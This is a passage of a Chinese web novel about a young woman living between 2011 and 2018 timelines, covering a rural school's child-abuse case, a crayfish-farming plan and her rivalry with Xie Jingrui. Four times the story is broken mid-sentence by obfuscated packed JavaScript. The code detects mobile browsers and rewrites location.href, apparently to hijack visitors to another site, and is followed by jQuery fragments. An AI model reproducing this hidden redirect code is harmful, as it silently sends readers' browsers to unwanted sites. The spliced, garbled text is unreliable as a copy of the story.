l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068851|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天气热了,看她宿舍风扇不给力,送两把新的过来,又说等暑假把宿舍翻修了,给她们安空调。
田小沛这才知道他今天突然出现在学校的原因,心里涌起一股暖意,接过风扇的她喜不自禁。自她到这儿后,简陋的环境让她没睡过一个好觉,这风扇无疑是雪中送炭。
她说了声“谢谢”,想起今天他霸气地救了她,又不辞辛苦陪她们找翠翠,自知说一声谢谢不够,但又不知道该说些啥,一时僵在那里。
谢京睿见她默不作声,问她翠翠的事打算怎么处理。
田小沛说明天一早去趟派出所告知翠翠被家暴的事儿,只有让施暴者受到惩罚了,才算是从根上解决问题。
看着她义愤填膺的模样,谢京睿仿佛看到七年前的田家希,那时她还没改名,性子也像现在一样天不怕地不怕。她和他争论该如何杜绝校园暴力时,也说过同样的话。
他心里一阵悸动,感觉他靠她又近了一点,追求的动力又多了几分。
第二天天刚亮,田小沛就听到窗外有窸窸窣窣的声音,她从窗缝往外看,只见谢京睿在灶台边拆包装袋。她出门一瞧,好大一桌丰盛的早餐啊!
谢京睿顶着两个黑眼圈说,这是他一早开车去镇里买的。
小沛咬了口包子,回头看车头方向已经掉转,讶异道,“你昨晚没走?”
他微微点点头,“翠翠的事,我想留下来帮你。”
小沛停止了咀嚼,眼直直地看着他,想从他眼里看到那个玩世不恭、令人嫌恶的他。但没有,他的眼里全是深情和执着。
妈哟!她心想:他七年后咋变这样了!倒把我整不会了。哈哈哈,好玩!他还不知道他现在追的是曾经的死对头吧!哈哈哈哈哈,我穿的这个身份可太解气啦!
谢京睿见她笑得莫名其妙,问,“包子这么好吃?”
田小沛抿着嘴点头,自从她穿到这儿,就没吃过几顿像样的饭。
不多会儿,大家陆续起床美美地吃了顿营养早餐。
饭后,田小沛和禾苗商量先带翠翠去上课,她再看情况去趟派出所。就当众人准备出发时,章校长打电话让田小沛赶紧来趟办公室。
翠翠爸妈一早就堵在校长办公室门口,连哭带骂痛诉田老师如何不分青红皂白打人,翠翠又是怎样失踪的。
章启铭大为吃惊。他认识的田家希行事不会这么激进。但当田小沛口齿伶俐地讲述完整件事的另一个版本后,他陷入了长久的沉默。
翠妈先发制人,向校长投诉田小沛,“就算我们有错在先,她也不该打人呐!我被她打得青一块紫一块的,你要不信,来看看。”说着就要脱衣服,唬得校长忙制止了。
翠妈很刁钻地避重就轻,又说起溪水村家家户户的困难,“那个什么巾,我们祖祖辈辈谁见过?自然是稀罕得很。孩子托你们的福用上了,那我们当家长的,跟着用点不为过吧!到了这位田老师嘴里,怎么就成了偷了?”
“学校只管孩子们的姨妈巾,啥时候管上你们家长呐?你这么能耐,咋不去找村长要呢?”田小沛毫不客气怼回去,“再说,六年级那么多女孩子,别人家怎么不唆使孩子偷呢?你作为家长不以身作则,反而带坏孩子,你就不配当妈!”
校长见田小沛言语不符老师身份,皱着眉哼了一声,示意她闭嘴。这一行为倒助长了翠妈嚣张气焰,她脖子一扬,瞪着两只凶恶的眼睛正准备开骂,被一直守在门口准备随时助攻的谢京睿冷冷地截住了。
11. 清丰市 2011年
谢精锐所说的体校,是省内最牛的、名列全国前十的名牌大学--郊东体育大学。
田家希想起另一个世界的谢京睿,当年他也要报考这个学校,凭他优秀的成绩和出众的体能,拿下郊东体育大学不是难事。但不知为何他后来上了个不入流的大学,勉强混了个文凭完事儿。
不管怎么说,眼前的谢精锐和当年的他一样意气风发,让她恍惚看到他另一个光明无限的未来。
田家希内心澎拜,端起酒杯,满眼真诚地祝福他金榜题名,未来可期。
谢精锐傻了眼,他原本是想暗讽她放弃高考自断前程,再由此嘲弄一番,没想到她既不生气又不难堪,反而态度洒脱地祝福他。就像是,她根本就没把高考放在眼里一般。
“小沛现在越来越懂事了。”谢常德有感而发。前段时间她因造谣闹到派出所的事他也听说了,当时他两头忙生意无暇过问。现在看,她是受到教育了,这样很好。
谢常德指了指儿子,笑着对田家希说,“你别听他瞎吹,还不知道能不能录取呢!”
“爸,你怎么能这样!”谢精锐对父亲在外人面前泼自己冷水很不满,语气很不耐烦,“我是你儿子,能差?再说,我这名字寓意能力卓越、硬件精良,我能考不起?”
田伟夫妇没太明白他的意思,问谢常德,“改名了?”
谢常德笑得无奈,“他自个儿叫着玩的,音还是那个音,字变了,精锐部队的精锐。你们听听他说的啥,反正我听不懂。”
谢精锐翻了个白眼,起身说要去上厕所。
谢常德一掌将他按下,对田家希说,“过几天精锐要搞个什么毕业旅行,要不你一起去,散散心?”
谢精锐表情惊讶看向父亲,心想你搞什么搞,我几个哥们去玩,带她多扫兴!
田家希对谢伯伯的提议也有些意外,原本想说要帮爸爸忙生意,话到嘴边改了口,说刚搬新家,事儿多,没时间去。
“啧啧。还是生女儿好呀!”谢常德对田伟夫妻说,“要不是我老婆走得早,就是罚款也得生个女儿。”
文莉有点受宠若惊,从小让她头疼心烦的女儿,竟能让黄欣苹和谢常德都认可,属实有点不正常。她看向女儿,她近来的确变了许多。
当晚,田家希搜集到了清丰市在建及即将动工的房地产项目,回忆七年后的建设规划和房价,圈出了几个大赚特赚的楼盘;然后又回顾了下谢家的发迹史,可惜的是,她当时只粗略看了下革益集团年度大事记,具体到哪年哪月投资了哪些项目,特别是刚开始怎么在清丰市站稳脚跟的,她一无所知。
她有些后悔,早知道这些用得上,当时就该和谢京睿多说几句话。
但转念一想,爸爸跟着谢伯伯干,肯定不会做亏本生意。但如果自己手头能掌握独有资源,不被动地追着别人屁股后面跑,岂不更好?
她冥思苦想了半天,突然想到,再过不久,各种口味的小龙虾将风靡清丰市的夜宵市场,一年比一年火。她曾听说第一批搞小龙虾养殖的人赚了不少钱!
在革益集团涉猎的项目里,并没小龙虾的身影。
她把这个想法告诉了爸爸。
田伟有点犹疑,“单干不太好吧!”
“先试试水嘛!如果觉得可行,可以并入谢伯伯的生意啊!”
田伟心想,要是自己能干成一个项目,说话做事会更有底气。而且他还定下了三年买洋房的目标,不搏一搏怎么行!
“你说的这个真的靠谱?”
“你不试试怎么知道我说的是真是假。”田家希话虽说得软,眼神却无比坚定。
田伟看着些许陌生的女儿,问了一直想问却不敢问的问题,“你说你是七年后的田小沛,那现在的田小沛去哪里了?还有,你是怎么拥有这种特异功能的?”
“也不是什么特异功能。我只是多了一些预知未来的能力。”田家希本能地想掩盖事实,“我们原本就是同一人,只是年龄不一样而已……”意识到越说越复杂,自己也无法自圆其说,她决定以情动人,用一种委屈糅杂着哀怜的眼神看向父亲,柔柔说道,“爸,不管我是哪个年龄段的小沛,不都是你女儿吗?”
田伟是典型的女儿奴,哪里受得了这样的眼神攻击,当即表示不管她变成什么样,都是她最爱的女儿。
见他还想问,田家希及时堵住了他的嘴,“至于这种事为啥会发生在我身上,我也在研究,给我时间好不好?总之,你要相信我,我所做的一切都是为了这个家。”
田伟看着女儿撒娇的模样,一下就心软了,连声说好。
三天后,田伟在市区东郊联系了几家水产养殖户,双方约好当面会谈,田家希听说硬要跟着去。
父女俩开着面包车穿梭在城市与郊区之间。偶尔经过几个田家希熟悉的片区,她探出头看着飞驰而过的街景和房屋,想起当年她也是坐着面包车进入这个城市,拖着一身伤开启新生活,心中感慨万千。
田伟见女儿揉眼睛,以为是风沙吹进了眼,他将车速放慢,语气中带着几分心疼,“你一个女孩,这么热的天不在家吹空调,跟着我跑生意,像话吗?”
田家希笑而不语。
车行至第一个养殖场,田伟让女儿在车里吹空调,他下去交涉。不到二十分钟,他回到车里说没谈妥,又开往下一个养殖场。
到第三个养殖场时,家希决定下车透透气。养殖场老板热情接待了他们,聊起养殖小龙虾,老板说以往在沿海干过,有经验,又带他们去养殖场转了转。
家希见爸爸和老板聊得投机,脚步放慢跟在后面,很懂事地刻意和他们拉开距离,走了一段路后,眼见两人转弯往办公区走,家希忙加快脚步跟上,就在她转弯时,突然“咣啷”一声吓了她一跳,紧接着“嘣嘣嘣”—“咣”,像是什么东西滚了下去的声音,她环顾四周不见人影,正要迈步往前走,身后传来断断续续的痛哭声。
田家希循着声音走去,穿过池塘,走上通往附近村子的石子路,在一处被大树遮住的一条野路上,看见一个人坐在地上哭。这人身旁瘫着一辆失去前轮胎的自行车,自行车旁,几个凹得不成形的铁皮桶东倒西歪散落开来,满地都是零碎的车部件,“车祸”现场有一丢丢惨烈。
再看自行车的主人,右眼脸到颧骨这一片肿得比馒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070357|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头还大,鼻梁上有几道擦伤,嘴唇流着血,左眼因为右眼太过膨大几乎看不见了,整张脸污泥斑斑,再加上大块小块的淤青和挂着的鼻涕泪水,看上去像被人恶意涂鸦的猪头。
田家希忍住笑,问他要不要帮忙。
谢精锐认出是田小沛,惊得他忙止住了哭声,哑着嗓子很硬气地说了句“不用”。
田家希见他嘴一动就渗出一丝血,右眼也控制不住抽搐几下,看起来又痛又惨,“你这情况得赶紧看医生。”她看他的自行车已经废了,“你有同伴么?需不需要我送你一程?”
谢精锐见她一脸关切,看他的眼神没有丝毫的嘲笑和奚落,似乎真没认出他,他犹豫片刻,还是说“不用”。
这时远处传来面包车的喇叭声,田家希临走前告诉他,得赶紧去医院治,时间拖久了怕会破相。
谢精锐听这话,犹如雪上加霜,心想我颜值这么高的帅哥,要是破相了,怕是老天爷都不干啊!他慌忙从腰包里掏出手机,按了几下没反应……手机摔坏了!
啊!!他想死的心都有了,眼见太阳快落山了,这鬼地方连个人影都没有,真是叫天天不应,叫地地不灵啊!
他心里着急,脸又痛又胀,想了想刚才田小沛没认出他,一定是肿得不成样子了!这么一想,心掉入冰窖,脸好像更痛了。他想起以往他多风光啊,走到哪儿都有人追随,如今混得这个惨样子,连受伤都没人问一下,想着想着,不由得又哇哇哭起来。
刚系好安全带的田家希,听到身后若有似无的哭声,愣了一下,再侧耳倾听,没了。田伟问她刚才做什么去了,她没回答,只说把车开慢一点。
开了大概几百米,车子后视镜里出现一个走路踉踉跄跄的少年,那少年斜着身子狼狈地向车子招手,担心车不停,又扯着嗓子喊了几声。田伟注意到了,他看了眼表情淡定的女儿,随后将车停住。
谢精锐捂着受伤的右腿龇牙咧嘴慢慢挪到驾驶位前,刚要说话,发现里面坐的是田叔叔,他倒吸口凉气,心想真是把脑子摔坏了,怎么没想到这车是田叔叔的呢?要被他认出自己倒霉样儿,以后哪还有脸见人!他立刻转身就走。
田伟也被吓得不轻。对方喊住了他却不愿上他的车,他觉得奇怪,冲他的背影喊,“小伙子,你是要去医院?”
谢精锐听见他喊他“小伙子”,脚停住了,犹豫了片刻,他上了车,说了个地址,然后把脏污的背包挡住脸,靠在后座椅背上假寐。
田伟见他伤得不轻,担心他真睡过去了,一路上时不时跟他搭话,又让女儿给他递水。谢精锐的心始终悬着,不接水不搭话,害怕被对方认出来。
田家希在给他递水时看到他手里举着的阿迪达斯运动腰包,天蓝色的流线设计很是耀眼,她记得谢京睿曾炫耀过这是限量版,还说也给她买一款相似的凑成情侣包。那时的她对品牌衣服和包包没有抵抗力,所以印象深刻。
田家希认出了包,再联想到此人一系列的反常举动,不难猜出他就是谢精锐。
当车停在人民医院门口,谢精锐抱着腰包拉开车门,自以为轻松过关时,田家希清脆地喊出了他的名字。
12. 溪水村 2018年
谢京睿双手插兜面无表情看向问校长,一本正经道,“姨妈巾捐赠时咱们有协议,必须全部用于溪水村小学学生,请问章校长还记得吗?”
“这个自然是记得的。”章启铭点点头,心里有些忐忑。
“要是都像这样偷拿,我做慈善岂不给他们提供犯错甚至犯罪的温床?我原本还打算一直捐赠下去,现在不知道要不要叫停了。”
章启铭忙说,“这是我们管理失误,让你见笑了,我保证以后不会再有此类事发生了。”他很清楚谢京睿的财力,如果停掉捐赠,恐怕省内没哪个企业愿意把大量资金源源不断投给希望小学做善事。而且,给女孩们发姨妈巾,促使她们努力考出大山过好日子的愿景也将打水漂。
翠妈目瞪口呆看向谢京睿,原来他就是捐助姨妈巾和各种文具的大富商啊!昨天见他那么护着田老师,还以为是她男朋友。哎,怪她有眼不识泰山。
谢京睿冷冷地瞄了眼翠妈,见她无动于衷,又对章校长说,“要不是田老师发现了这事,我还被蒙在鼓里。校长能容忍这种行为?”
“那不能。”章启铭表情严肃,对翠妈恐吓道,“捐姨妈巾这事,我们联系了很多企业,只有谢家少爷肯捐。如果他现在因为这事不捐了,不止你一家孩子用不上,全村的女学生都会因此断了捐赠。有些话不需要我明说,你应该知道利害关系。”
翠妈是个聪明人,她听懂了校长言外之意,就算她性格强横,在村里吵架无人能敌,但如果断了学生们的姨妈巾供给,村民们一人一口唾沫能将她淹死,她可不想成为众矢之的。
因此即使心里不情愿,面子上还不得不装出认错的样子,她眼神向上瞟了瞟又无奈地落下,不咸不淡说了句,“以后不会有这样的事了。”
谢京睿并不在意她保证的是真是假,转过身对田小沛大声说,“以后姨妈巾的事儿就交你全权处置。我要不要追赠,全由你决定。”
这话不仅赋予田小沛专属权力,还给她监管姨妈巾足够的底气!
田小沛笑着点点头,向翠妈甩了个得意的眼神。
翠妈气得够呛,“我背上的伤呢?就这样算了?还有翠翠,我可怜的孩子……现在都还没找到!”
田小沛“嗤“一声笑,讥讽她,“你要是真关心她,就不会不知道她现在在哪儿。”
翠妈:什么意思?
田小沛将她晾在一边,对章启铭说,“昨晚我们在风吹岭找到了翠翠,由此才知道翠翠是被她妈毒打才离家出走的。“
“你胡说!”翠妈企图狡辩,这时派出所王民警等二人敲开了办公室门。翠妈犹如抓到救命稻草,三步并作两步走到民警跟前哭诉,“民警同志,你们得替我作主啊!这位田老师到我家家访,不分青红皂白就打人,我一个当妈的,在孩子面前被老师打,我脸上无光啊!”
“她为什么打你?”
“因为她常年殴打孩子。”田小沛趁机把手机照片调出来一张张翻给王民警看,“昨晚我们找到翠翠时,她背上全是伤。你看,这些是之前打的,全身没一块好皮。”
“我家访那天,要不是她妈下狠手打她,我也不会情急之下给她妈一棒子。我是保护孩子。”说完,她把那天家访情形、找翠翠过程一口气叙述完,思维清晰,口齿伶俐,旁人想插嘴都没机会。
王民警皱着眉看完照片,问翠翠父母,“你们打的?”
“是摔的。”夫妻俩异口同声。
民警嗤笑,“摔能摔成这样?你当我傻子呢?”
“嗐,有时候不听话,教育教育。”
“有这么教育孩子的?这是往死里打啊!你那天不打翠翠能跑?跑了也不找,有你们这样当父母的?”
翠妈被戳中痛处,并不想搭理田小沛,对民警说,“咱们村哪家不是这么教育孩子的?民警同志,这是咱家务事,外人不好管吧?”
“教育孩子也要知分寸,你们这种属于涉嫌虐待未成年,严重的话是要被拘留甚至判刑的!”
翠爸不屑一顾,“咱们祖祖辈辈都是这么打过来的。”他拔高音量问王警官,“你爸打你弟,你咋不伸张正义啊?”
王警官脸上挂不住,怒喝,“以前是以前,现在是现在!现在是法制社会,由不得你们这样教育孩子!”
田小沛趁热打铁,“王警官,翠翠伤成这样,要不要干预一下?”
“这个还等我们深入调查再做决定。”王警官对田小沛说,“刚才你们来电说翠翠已经找到了,我们过来核实一下,好撤案。”
“好。”田小沛看了看时间,马上快下课了,她带着民警往六年级方向走,翠翠父母也紧随其后。
民警确认完后,给小沛留了电话,带着翠翠爸妈回派出所调查。
田小沛满怀期待等到下午放学,等来的答复是:翠翠父母已认识到错误,并保证以后不会再犯,考虑到孩子年龄小现在又是升学关键时期,需要人照顾,建议先回到父母身边,公安也会定期家访、观察。
“就这?”田小沛不满处理结果,“谁知道是真悔过还是装的!万一回去又被打呢?”
“那你想怎样?”章启铭虽然也很担心翠翠,但目前还没严重到更换监护人的地步,况且翠翠马上小升初考试,他也跟翠翠父母强调了考试的重要性,相信他们不会在这节骨眼上为难孩子,“翠翠自己也愿意回去,没人逼她。这事就先这么着吧!”
田小沛一脸的不情愿。
“田老师,你这次处理事情的方式是不是有点过了?”章启铭提到了她打翠翠妈的事儿,“你的所作所为并不符合一个老师的言行。我理解你在情急之下保护孩子冲动了,但为什么会升级到动手的地步,翠翠妈肯定有错,你是不是也要反思下?”
“另外,你发现翠翠被家暴,你要帮她讨公道,这事没错。但你有没有站在翠翠的角度考虑问题?她现在没有任何抵抗能力却不得不依靠父母生活,如果一旦告不成,她以后的日子怕是不好过。”
田小沛睁着一双惊愕的眼睛看向他,“那你还同意?”
章启铭长叹一口气,“这么跟你说吧,溪水村相对闭塞落后,这里的人不太懂法,基本上每家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076930|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都这么教育孩子,只要不打死打残,太正常不过了。没人会去派出所告,告了也是当家庭纠纷调解。”
田小沛觉得不可思议,这是2018年啊,还不如她2011年嘉宁县的家。那里的人虽然也打孩子,但是有分寸的。而且孩子要是被打狠了,还有热心邻居帮忙劝,比如黄阿姨。
“田老师,咱们来分析下哈,按你们说的,翠翠离家出走是因为前一晚被打,被打的原因是翠翠妈指使女儿偷姨妈巾的事被暴露,虽然这事错全在家长,但你想没想过,如果当时能换种处理方式,翠翠是不是能少挨顿打?”
田小沛突然想起翠翠和她在医院的对话,如果换作田家希,再次遇到偷盗,她会怎么处理呢?
章启铭看着发呆的田小沛,也在心里琢磨,难道一场病能让一个人变化这么大?那个遇事沉稳冷静、考虑全面的田家希,他好像连影子都摸不到了。
“这样吧,马上就要期末考,你把精力都放在学生身上,招聘老师的事儿先放一放。”他担心她工作繁重,压力过大,把病给激出来了。
“什么嘛!我能行!”田小沛心想我只是对这里不熟嘛!情绪嘛,是激动了点,但偷盗和家暴的事儿也有结果了。我是有能力的。
她从校长办公室出来,远远地看见禾苗和谢京睿站在办公楼另一端的楼下说着什么。
禾苗回想起处理翠翠事件时田家希的种种表现,疑惑道,“你觉不觉得家希姐不像是以前的家希姐了?”
谢京睿也感觉到了。他这几天一直在想出院时医生和他的谈话。
田家希患有比较严重的创伤应激综合症,对过往的经历有很明显的回避现象。但是,通过医生和她沟通发现,她对有关地震的人和事处于既想逃避又控制不住时常想起并且想做点什么的矛盾处境。
医生说,精神疾病是个很复杂的毛病,每个人在不同阶段的表现会不一样。根据田家希的表现,她之前大概率出现过噩梦、幻想、防备等行为。可惜她从未进行过治疗,不然不至于像现在这样严重。
那时谢京睿才意识到,他的出现和穷追不舍是导致田家希病发的直接原因。
那么,现在田家希不同于往日的言行又说明了什么?
谢京睿因为担心她,前几天咨询过他的私人心理医生,说有可能是通过治疗后,大脑开启保护机制,让她暂时忘掉悲痛的事情。
“那不就是选择性失忆吗?”禾苗说,“那她忘掉了那段记忆,言行也就跟着变了?”
谢京睿觉得是,至少在他记忆中,现在的她像极了七年前的她。
禾苗:“我很好奇,她到底经历过什么难事啊?”
“你们在聊什么?”田小沛从楼上下来,打断他们的谈话。
禾苗忙问翠翠的事处理得怎样,小沛无奈地把校长和派出所的意见大致说了下,禾苗露出了担忧的表情。
小沛情绪非常低落,“怎么办?要是她爸妈还打她,那咱们不是白忙活了?”
“我有办法。”谢京睿在决定帮她时,已替她想好各种应对方案了。
13. 清丰市 2011年
“不不不会吧?他是谢精锐?”田伟跳下车,打开后座车门仔细端详肿得像猪脸的倒霉少年。
谢精锐眼神死死抠住田家希,恨不得将她塞进地缝。
“天,怎么摔成这样哟!”
田伟每叹一声,谢精锐的狼狈就加重一分,他气急败坏地转过身,躲开父女俩过于密切的注视,真后悔刚才鬼迷心窍上了车。
“我得给你爸打电话。”田伟话音刚落电话就通了,谢精锐想阻止都没有时间。
“啥?摔得跟猪头一样?”谢常德一听就乐了,“没事儿,人是清醒的就好,你帮我看着,我一会就来。”
谢精锐碍于田叔身份,不好发火,只得憋着气进了医院。做了一系列检查后,医生说他鼻梁和颧骨处有轻微骨折,可能要做手术,建议他先打点滴消肿后再去专科医院拍片看看。
谢精锐很紧张,“会留疤吗?”
“这个不好说,你得先消肿再定治疗方案。”
这话说了当没说,谢精锐无比烦躁,此时又听田家希在旁问,如果要做手术,具体怎么操作,会不会有后遗症等等问题。
医生大致讲了下颧骨骨折手术的步骤,要在上颌打开一个切口,用器具伸入颧骨处,再用器具和手将骨头复位……又说切口可以在耳后或是头皮处……
听着就瘆人!田家希咬着唇一脸恐惧,就像是看见谢精锐躺在手术台上似的。
谢精锐恨恨地看了她两眼,不确定的事干嘛要问要说?是嫌他不够惨吗?他“腾”地起身,抓起病历本就走。
田家希赶紧追出去,看他气呼呼地跛着腿走得还挺快,不明白他怎么这么生气。
“输液室在这边。”她提醒他走错了方向,“你赶紧去那边坐着,我去缴费。”
“你到底几个意思?”谢精锐突然回身,差点和她撞个满怀。他很气愤,从她发现他摔跤那刻起,无处不让他难堪。
她从来就是这样,自以为什么都懂,什么都行,自作主张张罗这一切,这比她当面嘲笑他,还让他窝火。
“在这儿装什么好人呢?”
“我装?”田家希睁着一双无辜的眼睛看着他。“我为什么要装?”在她看来,就算是陌生人求助她,她也会尽力帮忙,更何况是世代交好的谢家。
“你平时就看我不顺眼,处处和我作对,现在见我受伤,就是想看我笑话吧?”谢精锐火气冲天,把积攒在心里的不满全抖落出来。他甚至怀疑她在上车前就认出了他,却故意在下车时暴露他的身份,就是想报复他。
田家希看着他阴着脸掷地有声质问她的模样,眨了眨泛酸的眼睛,委屈和愤懑迅速占据心田。她脑中有两个一模一样的人交替出现,她有些懵,沉默地僵在那里。
谢精锐见她面容呆滞,嘴唇似动非动,完全没了往日的嚣张,伸手抓过她手里捏着的缴费单,“咱俩啥关系?我的事不用你管!”
“等等。”就在谢精锐拿过单子那一瞬,田家希突然意识到,他不是他。这个世界的他,确实和她没啥关系。
她把单子夺回来,撕碎,扔在地上,冷着脸说,“谁稀罕管!”说完掉头就走。
田家希走到医院门口时刚好碰上爸爸和谢伯伯,她顾不上打招呼,只说自己有急事要走,谢精锐在二楼输液好得很。
田伟见女儿脸色不好,猜到两人多半吵了架,追出来给女儿打了个车,让她先回家休息。
田家希回到家便把自己关在房间里,打开《时间简史》拼命翻,她就不明白,怎么回不到原世界的七年前!而且,按照书上的说法,应该会有n个平行世界,为什么她非得到现在这个世界?
冷静下来后她又想,这个世界除了谢精锐太烦人,其余的和自己原世界没太大差别,特别是她现在把爸妈带到了安全地带,还认了干妈,家里的日子也越过越好。
至于原来世界的谢京睿,或许是真没缘……就当没有重逢过吧。
田家希蜷在床上,将自己抱得紧紧的,安慰自己,一切都会好起来的。
几天后,田伟带来好消息,说已经和水产老板签好协议,今年秋天投放虾苗,先试养几亩看看,明年春天就能大批量上市。
田家希算了算时间,刚好赶上清丰市即将掀起的龙虾热潮。
田伟又说,他看老板的鱼养得不错,了解了市场行情,和谢常德商量了下,准备先收购几百公斤转卖。
这倒有些让田家希意料,她没想到父亲一点不藏私,生意还没成,就直接露底了。
紧接着,他又提到谢精锐,说这么热的天,每天把自己捂得严严实实去医院输液,不要人陪,也不敢告诉小伙伴,毕业旅行也就此作废了。
田家希心想,这就是死要面子活受罪。
文莉叹了口气,“这孩子从小没妈,也是可怜。他爸养得糙,没时间管教,他脾气是差了点,但本性不坏。”当了解到他还需要输几天液,她自言自语说明天去医院看看。
“妈,我复读的学校你不陪我去看啦?”田家希有些不悦。
田伟向妻子使了个眼色,文莉知道他俩前几日闹了矛盾,就想着借此机会说和说和。
可田家希并不买账,把筷子一撂,“你要去就去吧,学校我自己定了。“
“那小子要面子,你要是去,他又得把气撒咱闺女头上。”田伟知道女儿气没消,自然站她这边,“选学校是大事,你就陪着小沛去,明儿我买点礼品给谢常德意思下就行了。”
过了一周,谢精锐的脸肿完全消了,父子俩去了趟专科医院拍了片,医生评定骨折并不严重,可以选择保守治疗不动手术,这让谢精锐大大松了口气。不过接下来三个月他需静养,不能有剧烈运动。
谢精锐从医院出来,拿着镜子照了又照,脸上除了有几块淤青,还和平时一样帅气,他心情大好。
谢常德瞄了眼坐在副驾的儿子,问他,“你是不是该去给田小沛道个歉?没有她,你能顺利到医院?”
谢精锐狡辩说,“是我招手上的车,她又没有绑着我上车。”
“她之前就见过你,如果真不想帮你,她完全可以找个理由喊她爸把车开走。”谢常德对儿子说的混帐话有些气愤,“到了医院,人家跑上跑下替你排队、缴费,你们之前有过节,她都能抛开这些帮助你,你作为一个男人,心眼怎么这么小?!”
谢精锐低头不语。
“你那天是不是说了伤人的话?”谢常德知道像小沛那种性格的女孩是不会轻易哭的,肯定是自己儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080239|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子不对。
谢精锐回想起那天他冲她发脾气,她看向他的神情,惊讶、失望,转而变成难以言喻的哀恸;她把缴费单夺过来撕碎扔地上,那么激动、气恼,还带着一丝委屈,这不是一向强势的田小沛作风啊!
谢常德见儿子不发话,直接下了命令,“抽空你随我去趟田家,不管你是真心悔过,还是为两家生意,你都得拿出个态度。我不求你俩多和睦,但至少不能有矛盾。以前小打小闹就算了,现在不行了,咱们到了新地方,得团结!”
“还有啊,你那个自行车俱乐部也别参加了,组队去那么偏的地方练车技,你掉队了没一个人回来找,根本就不靠谱!”
说话间车已停在小区地库,谢精锐上楼洗漱了一番,刚从卫生间出来便接到快递电话,录取通知书到了!
当他拿着郊东体育大学的录取通知书在父亲面前晃悠时,谢常德笑得合不拢嘴,虽然他希望儿子能在生意上助自己一臂之力,但他更尊重儿子的决定。“今天算是双喜临门啊!这样,咱们办个升学宴,好好热闹热闹!”
第二天晚饭后,谢常德带着儿子去了田家,一是登门道歉,二是报喜。
文莉听说谢精锐如愿考上郊东体育大学,一个劲儿地夸,又说学校就在清丰市,周末还可以回家,省得离远了你爸担心,你看这多好。
父子俩接过田伟泡好的茶,笑着点头说是。
寒暄了几句,谢常德见里间卧室的灯一直亮着,对田伟夫妻说,“今天带精锐来,是专程给小沛道歉的。”
“哎哟,你这么说就严重了,小孩子吵吵闹闹不很正常嘛!”文莉嘴里客气,身体却迅速转向卧室喊道,“小沛快出来,你谢伯伯来家你也不来打个招呼。”说完又对谢常德抱歉道,“这孩子被我惯坏了。”
谢常德身同感受。
田家希将外面的对话听了个清清楚楚,她没料到谢伯伯会带谢精锐上门道歉,真是不想见又不得不见。她磨蹭了一会儿,慢慢走出来,向谢常德问了好,然后收起笑容静静地坐在妈妈身旁。
文莉把通知书拿给女儿看,田家希瞄了一眼,视线便转向对坐的谢精锐,朝着他的方向虚看了一眼,客套地说了句“恭喜”,表情不咸不淡,看不出任何情绪。
谢精锐见她态度敷衍,心中不悦,没作任何回应。这时父亲轻踢他的脚,暗示他赶紧道歉。
谢精锐迫于压力,又见文阿姨一直看着自己,深吸口气,心不甘情不愿嘟哝道,“那天的事,我错怪你了,给你道歉。”表情同样不咸不淡,听不出一丝诚意。
“没关系。早忘了。”田家希语速很快,仿佛赶紧完成道歉这个“仪式”,就能赶紧撇清关系,从此便是路人似的。
“还是小沛懂事,是个爽快人。”谢常德打着哈哈缓解尴尬气氛。
田伟夫妻也笑着说,“一家人不说两家话,误会解开就好。”大人都看出了孩子们的不情愿,但都装作很情愿。
谢精锐心中不爽,嫌恶地看向田家希,只见她穿着素雅的米色波点吊带裙,细直的披肩长发倾泻而下,头上戴着的红色发箍衬得人娇艳明媚。眼神虽然呆滞,但隐隐含着的忧伤和浑身散发出的柔弱气质让人忍不住探究。
他不禁多看了两眼。
14. 安阳市 2018年
转眼到了七月,办完了散学典礼,谢京睿派去的装修队也开工了。
每逢节假日,只要不忙,田家希就会去梁瑛老师家小住。但田小沛完全不知道有这个人存在,她接受禾苗邀请,到离学校不远的禾苗家借住。
禾苗家经济条件在当地属于中等偏上,自家修建的三层漂亮小楼在一众灰头土脸的平房里很是扎眼。
田小沛被安置在顶楼带阳台的房间里,她站在阳台上远眺,想起了她在嘉宁的房子,也是这样的楼房,差不多的高度,望出去都是山景,心中不免添了几分惆怅。
她离家也有些时候了,不知道爸妈发现她不见了会怎样地惊慌失措,会不会满大街贴寻人启事疯狂找她?
禾苗以为她在为招聘教师犯愁,提议说要不去现场招聘会看看,县里、市里、甚至省城都可以。
小沛觉得可行,她相信凭她三寸不烂之舌,一定能为学校聘得良师。
